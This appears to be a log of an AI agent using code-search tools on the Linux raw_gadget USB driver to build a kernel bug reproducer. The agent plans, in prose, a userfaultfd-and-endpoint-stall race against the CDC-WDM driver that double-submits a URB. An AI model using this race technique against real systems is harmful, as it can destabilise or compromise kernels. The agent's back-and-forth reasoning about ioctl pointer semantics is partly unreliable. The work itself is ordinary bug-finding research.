This leads me to a bit of confusion. If `value` is directly assigned to an `int` variable like `int i = value;`, it implies that the kernel is expecting the actual integer value, not its address. However, the `_IOW` macro strongly suggests a copy operation from user space.
I then examine the `raw_ioctl` function signature:
```c
static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
```
Here, `value` is an `unsigned long`. Now, the kernel's `sys_ioctl` mechanism handles the `_IOW` directive by performing a `copy_from_user` if the driver indicates it needs to receive data using `_IOC_DIR(cmd)`. My question becomes: does `raw_gadget` actually *use* `copy_from_user` for `USB_RAW_IOCTL_EP_SET_HALT`?
Looking further, it seems `raw_ioctl` directly passes the `value` argument to `raw_ioctl_ep_set_clear_halt_wedge`. This is the crucial point of my investigation. If `raw_ioctl_ep_set_clear_halt_wedge` is operating directly on `value` as if it were the endpoint index (and not a pointer to the index), then the question of whether `copy_from_user` is implicitly handled by the `ioctl` framework for `_IOW` when the driver *doesn't* explicitly call it becomes paramount.
So, my next step is to thoroughly check how `raw_gadget` handles other `_IOW` commands. Do they all bypass explicit `copy_from_user`? Or is there a specific mechanism at play here for `USB_RAW_IOCTL_EP_SET_HALT` where the `unsigned long value` is being interpreted in a way that negates the need for an explicit `copy_from_user` call, perhaps because the `_IOC_DIR` flag *itself* is sufficient for the kernel to treat `value` as a pointer and dereference it implicitly? Or is it possible that `raw_ioctl_ep_set_clear_halt_wedge` is indeed receiving a pointer, and my initial interpretation of `value` directly being the index is incorrect in that context? This is the core of what I need to resolve.
|
| 112/4 |
2026/09/11 22:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_init]
Results: map[SourceCode: 480: static int raw_ioctl_init(struct raw_dev *dev, unsigned long value)
481: {
482: int ret = 0;
483: int driver_id_number;
484: struct usb_raw_init arg;
485: char *udc_driver_name;
486: char *udc_device_name;
487: char *driver_driver_name;
488: unsigned long flags;
489:
490: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
491: return -EFAULT;
492:
493: switch (arg.speed) {
494: case USB_SPEED_UNKNOWN:
495: arg.speed = USB_SPEED_HIGH;
496: break;
497: case USB_SPEED_LOW:
498: case USB_SPEED_FULL:
499: case USB_SPEED_HIGH:
500: case USB_SPEED_SUPER:
501: break;
502: default:
503: return -EINVAL;
504: }
505:
506: driver_id_number = ida_alloc(&driver_id_numbers, GFP_KERNEL);
507: if (driver_id_number < 0)
508: return driver_id_number;
509:
510: driver_driver_name = kmalloc(DRIVER_DRIVER_NAME_LENGTH_MAX, GFP_KERNEL);
511: if (!driver_driver_name) {
512: ret = -ENOMEM;
513: goto out_free_driver_id_number;
514: }
515: snprintf(driver_driver_name, DRIVER_DRIVER_NAME_LENGTH_MAX,
516: DRIVER_NAME ".%d", driver_id_number);
517:
518: udc_driver_name = kmalloc(UDC_NAME_LENGTH_MAX, GFP_KERNEL);
519: if (!udc_driver_name) {
520: ret = -ENOMEM;
521: goto out_free_driver_driver_name;
522: }
523: ret = strscpy(udc_driver_name, &arg.driver_name[0],
524: UDC_NAME_LENGTH_MAX);
525: if (ret < 0)
526: goto out_free_udc_driver_name;
527: ret = 0;
528:
529: udc_device_name = kmalloc(UDC_NAME_LENGTH_MAX, GFP_KERNEL);
530: if (!udc_device_name) {
531: ret = -ENOMEM;
532: goto out_free_udc_driver_name;
533: }
534: ret = strscpy(udc_device_name, &arg.device_name[0],
535: UDC_NAME_LENGTH_MAX);
536: if (ret < 0)
537: goto out_free_udc_device_name;
538: ret = 0;
539:
540: spin_lock_irqsave(&dev->lock, flags);
541: if (dev->state != STATE_DEV_OPENED) {
542: dev_dbg(dev->dev, "fail, device is not opened\n");
543: ret = -EINVAL;
544: goto out_unlock;
545: }
546: dev->udc_name = udc_driver_name;
547:
548: dev->driver.function = DRIVER_DESC;
549: dev->driver.max_speed = arg.speed;
550: dev->driver.setup = gadget_setup;
551: dev->driver.disconnect = gadget_disconnect;
552: dev->driver.bind = gadget_bind;
553: dev->driver.unbind = gadget_unbind;
554: dev->driver.suspend = gadget_suspend;
555: dev->driver.resume = gadget_resume;
556: dev->driver.reset = gadget_reset;
557: dev->driver.driver.name = driver_driver_name;
558: dev->driver.udc_name = udc_device_name;
559: dev->driver.match_existing_only = 1;
560: dev->driver_id_number = driver_id_number;
561:
562: dev->state = STATE_DEV_INITIALIZED;
563: spin_unlock_irqrestore(&dev->lock, flags);
564: return ret;
565:
566: out_unlock:
567: spin_unlock_irqrestore(&dev->lock, flags);
568: out_free_udc_device_name:
569: kfree(udc_device_name);
570: out_free_udc_driver_name:
571: kfree(udc_driver_name);
572: out_free_driver_driver_name:
573: kfree(driver_driver_name);
574: out_free_driver_id_number:
575: ida_free(&driver_id_numbers, driver_id_number);
576: return ret;
577: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 113/4 |
2026/09/11 22:20 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 22977
output: 52
thoughts: 100
Thoughts: **My Thought Process Regarding `raw_ioctl_init` and `raw_ioctl_ep_set_clear_halt_wedge`**
My initial investigation into `raw_ioctl_init` brought me to the realization that it's employing `copy_from_user(&arg, (void __user *)value, sizeof(arg))`. This clearly indicates that the `value` parameter here is intended to be a user-space pointer from which data is being copied into the kernel. This is a standard and expected pattern for ioctl arguments that are structures or larger data blobs.
However, my attention then shifted to `raw_ioctl_ep_set_clear_halt_wedge`. My immediate observation was that this function appears to be using a much simpler assignment: `int i = value;`. This struck me as peculiar. If `value` were a user-space pointer, as in the `raw_ioctl_init` case, directly assigning it to an `int` would be problematic, likely leading to a truncation or interpretation of the pointer address itself as an integer value.
This discrepancy immediately raised a flag. My thought was, "Wait a minute, if `raw_ioctl_ep_set_clear_halt_wedge` is simply assigning `value` to an `int`, then `value` *must* be the pointer itself, not a pointer to the data I'd expect to copy." This interpretation would mean that the function is not trying to dereference the `value` parameter as a user-space pointer to retrieve data, but rather it's using the *address* that `value` holds as the argument itself. This is a significant difference in how the ioctl is being handled.
To confirm this crucial distinction, I made a mental note to re-examine the implementation of `raw_ioctl_ep_set_clear_halt_wedge` with this new understanding in mind. I need to be absolutely certain about how `value` is being interpreted in that specific ioctl handler to avoid misinterpreting the kernel's intent or introducing potential security vulnerabilities.
|
| 114/4 |
2026/09/11 22:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 115/4 |
2026/09/11 22:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 24218
output: 52
thoughts: 98
Thoughts: **My Thought Process Regarding `value` and Endpoint Indexing**
My initial thought, upon seeing the line `int i = value;`, was one of immediate concern. I recognized that `value` is declared as an `unsigned long`. This immediately triggered a red flag for me, knowing that a direct assignment from an `unsigned long` to an `int` can lead to unexpected behavior, particularly if `value` holds a large number.
My specific worry was that `value` might represent a pointer originating from user space. If that were the case, `value` would be a memory address, which, when interpreted as an `unsigned long`, would likely translate to a very large numerical value. When this large `unsigned long` is then cast to an `int` (`i = value;`), it would almost certainly result in `i` being a large positive number, or potentially even a negative one due to overflow or representation issues depending on the system's architecture and the size of `int`.
This large, and potentially incorrect, value for `i` would then be used in a subsequent check: `i < 0 || i >= dev->eps_num`. My concern was that if `value` was a user-space pointer, the resulting `i` would be so large that `i >= dev->eps_num` would invariably evaluate to true, leading to a faulty condition and potentially incorrect program flow. This would, in effect, cause my intended endpoint indexing logic to fail prematurely or incorrectly.
To resolve this uncertainty and ensure the correct handling of the endpoint index, my immediate next step was to verify the definition of `USB_RAW_IOCTL_EP_SET_HALT` within the kernel's header files, specifically in `include/uapi/linux/usb/raw_gadget.h`. I needed to see how the `value` parameter was intended to be used and what data type it was expected to represent by the ioctl call itself. This would confirm whether `value` is indeed meant to be a numerical index or something else entirely, and thus inform the necessary casting and validation.
|
| 116/4 |
2026/09/11 22:21 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:include/uapi/linux/usb/raw_gadget.h Name:USB_RAW_IOCTL_EP_SET_HALT]
Results: map[SourceCode: SourceFile:]
|
| 117/4 |
2026/09/11 22:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 24373
output: 27
thoughts: 20
Thoughts: **My Thought Process on `USB_RAW_IOCTL_EP_SET_HALT`**
Right, the first thing that comes to mind when faced with a specific kernel-level IOCTL like `USB_RAW_IOCTL_EP_SET_HALT` is to immediately try and locate its definition and usage within the codebase. My immediate instinct is to `grep` for it. This is a fundamental, low-level operation, and I'm expecting it to be used in a direct interaction with the USB subsystem's raw I/O capabilities. I'm looking for the literal string `USB_RAW_IOCTL_EP_SET_HALT` to pinpoint exactly where this specific command is being invoked. This is the most direct way to see *how* and *where* this particular USB endpoint control is being exercised.
|
| 118/4 |
2026/09/11 22:21 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IOCTL_EP_SET_HALT]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1341- break;
drivers/usb/gadget/legacy/raw_gadget.c:1342: case USB_RAW_IOCTL_EP_SET_HALT:
drivers/usb/gadget/legacy/raw_gadget.c-1343- ret = raw_ioctl_ep_set_clear_halt_wedge(
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-254- */
include/uapi/linux/usb/raw_gadget.h:255:#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
include/uapi/linux/usb/raw_gadget.h-256-#define USB_RAW_IOCTL_EP_CLEAR_HALT _IOW('U', 14, __u32)
]
|
| 119/4 |
2026/09/11 22:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 24723
output: 46
thoughts: 289
Thoughts: **My Journey Through `USB_RAW_IOCTL_EP_SET_HALT`**
My initial thought process begins with encountering the definition for `USB_RAW_IOCTL_EP_SET_HALT`: `_IOW('U', 13, __u32)`. This immediately tells me that this `ioctl` is intended to write a `__u32` value to the device.
However, when I look at the implementation, specifically within `raw_ioctl_ep_set_clear_halt_wedge`, I see this line: `int i = value;`. This is where my alarm bells start ringing. If `_IOW` signifies that the third argument to `ioctl` (which is being passed as `value` here) is a *pointer* to a `__u32`, then casting that pointer directly to an `int` is problematic. This would be treating the memory address as the actual value, which is almost certainly not the intended behavior.
This leads me to suspect a potential bug in `raw_gadget.c`. My next step is to verify if the expected user-space data is being properly transferred into the kernel. I specifically check if `copy_from_user` is being used.
Upon discovering that `raw_ioctl_ep_set_clear_halt_wedge` **does not** use `copy_from_user`, my suspicion intensifies. If `copy_from_user` is absent, it implies that the kernel expects the `value` parameter to be the integer itself, not a pointer to it. But this directly contradicts the `_IOW` definition, which mandates a pointer to `__u32`.
This creates a clear dichotomy: if the kernel truly expects the integer value directly, then the `ioctl` call should have been structured like `ioctl(fd, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` where `ep_in` itself contains the integer value, not its address. The current implementation seems to be mishandling the user-provided data.
To further solidify my understanding of the surrounding code and potential patterns, I decide to examine a related function, `raw_ioctl_ep_enable`. This comparison might reveal whether this particular bug is isolated or indicative of a broader issue in the `raw_gadget.c` implementation.
|
| 120/4 |
2026/09/11 22:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_enable]
Results: map[SourceCode: 840: static int raw_ioctl_ep_enable(struct raw_dev *dev, unsigned long value)
841: {
842: int ret = 0, i;
843: unsigned long flags;
844: struct usb_endpoint_descriptor *desc;
845: struct raw_ep *ep;
846: bool ep_props_matched = false;
847:
848: desc = memdup_user((void __user *)value, sizeof(*desc));
849: if (IS_ERR(desc))
850: return PTR_ERR(desc);
851:
852: /*
853: * Endpoints with a maxpacket length of 0 can cause crashes in UDC
854: * drivers.
855: */
856: if (usb_endpoint_maxp(desc) == 0) {
857: dev_dbg(dev->dev, "fail, bad endpoint maxpacket\n");
858: kfree(desc);
859: return -EINVAL;
860: }
861:
862: spin_lock_irqsave(&dev->lock, flags);
863: if (dev->state != STATE_DEV_RUNNING) {
864: dev_dbg(dev->dev, "fail, device is not running\n");
865: ret = -EINVAL;
866: goto out_free;
867: }
868: if (!dev->gadget) {
869: dev_dbg(dev->dev, "fail, gadget is not bound\n");
870: ret = -EBUSY;
871: goto out_free;
872: }
873:
874: for (i = 0; i < dev->eps_num; i++) {
875: ep = &dev->eps[i];
876: if (ep->addr != usb_endpoint_num(desc) &&
877: ep->addr != USB_RAW_EP_ADDR_ANY)
878: continue;
879: if (!usb_gadget_ep_match_desc(dev->gadget, ep->ep, desc, NULL))
880: continue;
881: ep_props_matched = true;
882: if (ep->state != STATE_EP_DISABLED)
883: continue;
884: ep->ep->desc = desc;
885: ret = usb_ep_enable(ep->ep);
886: if (ret < 0) {
887: dev_err(&dev->gadget->dev,
888: "fail, usb_ep_enable returned %d\n", ret);
889: goto out_free;
890: }
891: ep->req = usb_ep_alloc_request(ep->ep, GFP_ATOMIC);
892: if (!ep->req) {
893: dev_err(&dev->gadget->dev,
894: "fail, usb_ep_alloc_request failed\n");
895: usb_ep_disable(ep->ep);
896: ret = -ENOMEM;
897: goto out_free;
898: }
899: ep->state = STATE_EP_ENABLED;
900: ep->ep->driver_data = ep;
901: ret = i;
902: goto out_unlock;
903: }
904:
905: if (!ep_props_matched) {
906: dev_dbg(&dev->gadget->dev, "fail, bad endpoint descriptor\n");
907: ret = -EINVAL;
908: } else {
909: dev_dbg(&dev->gadget->dev, "fail, no endpoints available\n");
910: ret = -EBUSY;
911: }
912:
913: out_free:
914: kfree(desc);
915: out_unlock:
916: spin_unlock_irqrestore(&dev->lock, flags);
917: return ret;
918: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 121/4 |
2026/09/11 22:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 26256
output: 52
thoughts: 611
Thoughts: **My Thought Process Regarding `USB_RAW_IOCTL_EP_SET_HALT` and Endpoint Index Handling**
I'm trying to make sense of how endpoint indices are being handled with the `USB_RAW_IOCTL_EP_SET_HALT` ioctl and its associated driver function, `raw_ioctl_ep_set_clear_halt_wedge`.
Initially, I see that `raw_ioctl_ep_enable` returns `ret = i;`, where `i` is explicitly stated to be the endpoint index. This seems straightforward.
Then, I examine `raw_ioctl_ep_set_clear_halt_wedge` and notice it uses `int i = value;`. My immediate thought is that this implies `value` *is* the endpoint index directly, not a pointer to it.
However, I then recall the definition of `USB_RAW_IOCTL_EP_SET_HALT` as `_IOW('U', 13, __u32)`. The `_IOW` macro signifies that this ioctl is intended to write data *to* the kernel, and typically, for structures or larger data types, this means passing a pointer. The `__u32` part suggests it expects a 32-bit unsigned integer.
This creates a conflict in my mind: if I were to call `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` where `ep_in` is an integer representing the endpoint index, how is `ioctl` going to interpret it? The standard `ioctl` signature is `int ioctl(int fd, unsigned long request, ...)`. When I pass an integer `ep_in` as the third argument, it will be treated as `unsigned long value`.
The `_IOW` definition, however, implies that the kernel expects a *pointer* to a `__u32` for `value`. If I pass an integer directly, it will be interpreted as the *value* of that pointer, not the address it points to.
To clarify this, I decide to investigate how userspace tooling, specifically syzkaller, utilizes this ioctl. I know syzkaller often uses pointers for `_IOW` operations, and it typically passes a pointer to a `__u32`.
This leads me to a critical realization: if the driver function `raw_ioctl_ep_set_clear_halt_wedge` *doesn't* use `copy_from_user` to retrieve data from the user-provided `value`, it might just cast `value` directly to an integer.
Now, I need to re-evaluate the line `int i = value;` in `raw_ioctl_ep_set_clear_halt_wedge`. If `value` is indeed a pointer (as implied by `_IOW` and syzkaller's usage), then casting it to an `int` would mean `i` would hold the *memory address* of the pointer, not the endpoint index itself.
This has significant implications. Since `dev->eps_num` (the number of endpoints) is likely a small, positive value, a memory address (which would be a large positive integer) would almost certainly be greater than or equal to `dev->eps_num`. Consequently, the check `i < 0 || i >= dev->eps_num` would fail, and the ioctl would incorrectly reject a valid endpoint index if it were passed as a pointer.
My current hypothesis is that there might be a mismatch: `_IOW` suggests a pointer is expected, but the driver code `int i = value;` seems to treat `value` as a direct integer.
This leads me to question whether `raw_ioctl_ep_set_clear_halt_wedge` correctly handles the `value` argument. Is it possible that `value` *is* intended to be a pointer, and the direct casting to `int` in the driver is a bug in `raw_gadget.c`? Or is it possible that the interface is designed to accept an integer directly in some cases, and `_IOW` is being used perhaps a bit unconventionally?
To definitively resolve this, I need to:
1. Confirm if `raw_ioctl_ep_set_clear_halt_wedge` actually uses `copy_from_user`. (My current check suggests it doesn't).
2. Re-examine syzkaller's specific calls to `USB_RAW_IOCTL_EP_SET_HALT` or related functions like `syz_usb_ep_set_halt` to understand precisely how it passes the endpoint index (as a value or a pointer).
3. Look at the definition of `USB_RAW_IOCTL_EP_SET_HALT` in `include/uapi/linux/usb/raw_gadget.h` again to see if there are any subtle hints about its intended usage.
The core of my confusion lies in whether the `value` argument to `raw_ioctl_ep_set_clear_halt_wedge` is treated as a direct endpoint index or a pointer to one, and how this aligns with the `_IOW` definition. The `int i = value;` line, without `copy_from_user`, is the central point of my concern. If `value` is a pointer, this is problematic; if `value` is an integer, then the `_IOW` definition might be misleading in how it implies pointer usage.
|
| 122/4 |
2026/09/11 22:22 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:include/uapi/linux/usb/raw_gadget.h Name:USB_RAW_IOCTL_EP_SET_HALT]
Results: map[SourceCode: SourceFile:]
|
| 123/4 |
2026/09/11 22:22 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 26924
output: 52
thoughts: 39
Thoughts: **My Thought Process Regarding `raw_ioctl_ep_set_clear_halt_wedge`**
Okay, I need to re-examine `raw_ioctl_ep_set_clear_halt_wedge` within the `drivers/usb/gadget/legacy/raw_gadget.c` file. This is a crucial operation, and I want to ensure I have a complete and accurate understanding of its behavior and implications, especially given my expertise in this domain.
My current focus is on the specifics of how this particular ioctl handles setting and clearing the halt condition for an endpoint, and importantly, what "wedge" signifies in this context. I suspect it relates to a state where the endpoint might become unresponsive or enter an unrecoverable condition if not handled with absolute precision.
I'm thinking about the potential race conditions that could arise. If multiple operations try to manipulate the halt state concurrently, or if a halt is cleared while data is still being processed, what are the safeguards in place? I need to trace the execution path meticulously, paying attention to any locking mechanisms or atomic operations that protect the endpoint's state.
Furthermore, I'm considering the legacy aspect of `raw_gadget.c`. This implies that the code might have older design patterns or less robust error handling compared to more modern USB gadget drivers. This makes it even more critical to scrutinize for potential edge cases and vulnerabilities.
I'll be looking at how the function interacts with the underlying hardware or controller driver. Does it directly manipulate registers, or does it abstract this through a more general interface? Understanding this interaction is key to anticipating any hardware-specific quirks or limitations.
Specifically, the "wedge" term suggests a potential deadlock or a persistent error state. I need to understand the conditions under which this "wedge" can occur, what triggers it, and, most importantly, how one might recover from it, if at all. Is it a scenario that requires a device reset, or is there a more granular way to clear it?
I'll also be considering the implications for the USB protocol itself. How does setting and clearing the halt state align with the USB specification? Are there any deviations or interpretations in this legacy implementation that could lead to interoperability issues with USB hosts?
In essence, I'm undertaking a deep dive into this specific function to satisfy my need for certainty regarding its robustness, its interaction with the system, and its adherence to protocol standards, particularly in the context of legacy code. I need to be absolutely confident that this function, even in its older form, behaves as expected and doesn't introduce subtle bugs or security concerns.
|
| 124/4 |
2026/09/11 22:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 125/4 |
2026/09/11 22:22 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 28104
output: 46
thoughts: 4969
Thoughts: **My Thought Process on the `raw-gadget` and USB CDC-WDM Race Condition**
Right, so the core of this seems to be about a race condition involving the Linux `raw-gadget` driver and the USB CDC-WDM (Windows Driver Model) device. I'm looking at this C code, which is a reproducer, and I'm trying to trace the execution flow and understand where the potential issue lies.
First, the setup. I see the `setup_gadget` function which initializes the `/dev/raw-gadget` device. It opens the device, sends an `USB_RAW_IOCTL_INIT` to configure the driver and device names, and then `USB_RAW_IOCTL_RUN` to start the gadget. This seems straightforward enough.
The `gadget_thread` is where the USB gadget logic lives. It enters an infinite loop, waiting to `USB_RAW_IOCTL_EVENT_FETCH`. When it receives an event, it checks the `event.type`. If it's `USB_RAW_EVENT_CONTROL`, it parses the USB control request.
I'm paying close attention to how it handles `GET_DESCRIPTOR` requests for the device and configuration descriptors. It correctly checks `req->wValue` and copies the appropriate descriptor data using `memcpy` into `io.data` and then sends it back with `USB_RAW_IOCTL_EP0_WRITE`. It also handles `SET_CONFIGURATION`, which is critical. When `SET_CONFIGURATION` is received, it calls `USB_RAW_IOCTL_CONFIGURE` and then `USB_RAW_IOCTL_EP_ENABLE` to enable the IN endpoint defined in `conf_desc.ep_in`. The endpoint index is stored in `ep_in`. The `gadget_ready` event is signaled here, indicating that the gadget is set up and the host can proceed.
There's also handling for a specific control request (`0xA1`, `0x01`) which seems to be related to CDC notifications. The code sends a fixed response and then, importantly, *does nothing further* if it's the second time this request is seen. This suggests a deliberate design to let a host URB hang.
Then I move to the `ep1_thread`. This thread waits for `gadget_ready`, implying the gadget setup is complete. After a short delay, it constructs a CDC notification (`USB_CDC_NOTIFY_RESPONSE_AVAILABLE`) and sends it out on the configured IN endpoint (`ep_in`) using `USB_RAW_IOCTL_EP_WRITE`. It sends *two* such notifications. This is interesting because it means the `resp_count` in `gadget_thread` for this specific request will become 2.
The `ep1_thread` then waits for `read_blocked`. This event is set by the `uffd_thread` after a page fault occurs. This implies that `read(fd_wdm, addr, 10)` in `main` is expected to block until some data is available and then trigger a userfaultfd.
After `read_blocked` is signaled, `ep1_thread` sends `USB_RAW_IOCTL_EP_SET_HALT` on `ep_in`. This is where I had a slight initial pause. The code says: "Yes, `int i = value;`. It expects the integer directly. So `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` is correct." My initial thought was to confirm how `USB_RAW_IOCTL_EP_SET_HALT` is defined. Looking at the `ioctl` definition: `#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)`. It expects a `__u32`. The variable `ep_in` is an `int`. On a 64-bit system, `int` is 32 bits, and `ioctl` takes `unsigned long` as the data pointer argument. The kernel's `raw_ioctl_ep_set_clear_halt_wedge` function takes `unsigned long value`, and then `int i = value;`. This means it will correctly extract the lower 32 bits, which is exactly what `ep_in` would be. So, yes, this looks correct.
After the stall, `ep1_thread` waits again, this time for `resolve_uffd`. This is meant to allow the userfaultfd handler to resolve the page fault, which in turn unblocks the `read()` call in `main`.
Now, the `uffd_thread`. It takes a `userfaultfd` file descriptor (`uffd`) and waits for a `UFFD_EVENT_PAGEFAULT`. Upon receiving it, it sets `read_blocked`, signaling `ep1_thread` that the `read()` call has hit the page fault. It then waits for `resolve_uffd`. Once that's signaled, it performs a `UFFDIO_COPY` to resolve the page fault, effectively allowing the `read()` to complete.
The `main` function sets everything up: initializes events, creates threads. It waits for `gadget_ready`, then sleeps to allow the `/dev/cdc-wdm0` device to appear. It then opens the device, sets up a userfaultfd mapped to an anonymous page, and creates the `uffd_thread`. Crucially, it then calls `read(fd_wdm, addr, 10)`. This `read` is intended to block until data is available and then trigger the page fault.
The summary I wrote after tracing this flow indicates that the logic is sound:
1. The first notification from `ep1_thread` and the gadget's control read response make data available for `read(fd_wdm, ...)`.
2. `wdm_read` eventually calls `copy_to_user`, triggering the userfaultfd.
3. `uffd_thread` acknowledges the fault and signals `read_blocked`.
4. `ep1_thread` proceeds to STALL endpoint 1.
5. The STALL triggers `wdm_int_callback` and then `wdm_rxwork`.
6. `ep1_thread` then signals `resolve_uffd`, allowing the `read()` to finish via `copy_to_user`.
7. `wdm_read` completes and calls `service_outstanding_interrupt`.
8. `service_outstanding_interrupt` decrements `resp_count` (to 1), sets `WDM_RESPONDING`, and attempts to submit the `desc->response` URB.
9. The problem arises because `wdm_rxwork` already submitted this URB while handling the stall. This leads to the USB core emitting a warning due to the URB being active when it's submitted again.
I also added a thought about checking the return value of `read(fd_wdm, addr, 10)` to ensure it doesn't return prematurely with an error. A `printf` statement for the return value and basic error handling were suggested.
Finally, I double-checked the inclusion of `race_toolkit.h` which is necessary for `setup_uffd`.
Overall, the understanding of the `USB_RAW_IOCTL_EP_SET_HALT` usage and the data flow seems solid. The described sequence of events leading to the warning makes sense based on the interaction between `raw-gadget`, the CDC-WDM driver, userfaultfd, and the asynchronous nature of USB URBs.
|
| 126/4 |
2026/09/11 22:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_write]
Results: map[SourceCode:1144: static int raw_ioctl_ep_write(struct raw_dev *dev, unsigned long value)
1145: {
1146: int ret = 0;
1147: char *data;
1148: struct usb_raw_ep_io io;
1149:
1150: data = raw_alloc_io_data(&io, (void __user *)value, true);
1151: if (IS_ERR(data))
1152: return PTR_ERR(data);
1153: ret = raw_process_ep_io(dev, &io, data, true);
1154: kfree(data);
1155: return ret;
1156: }
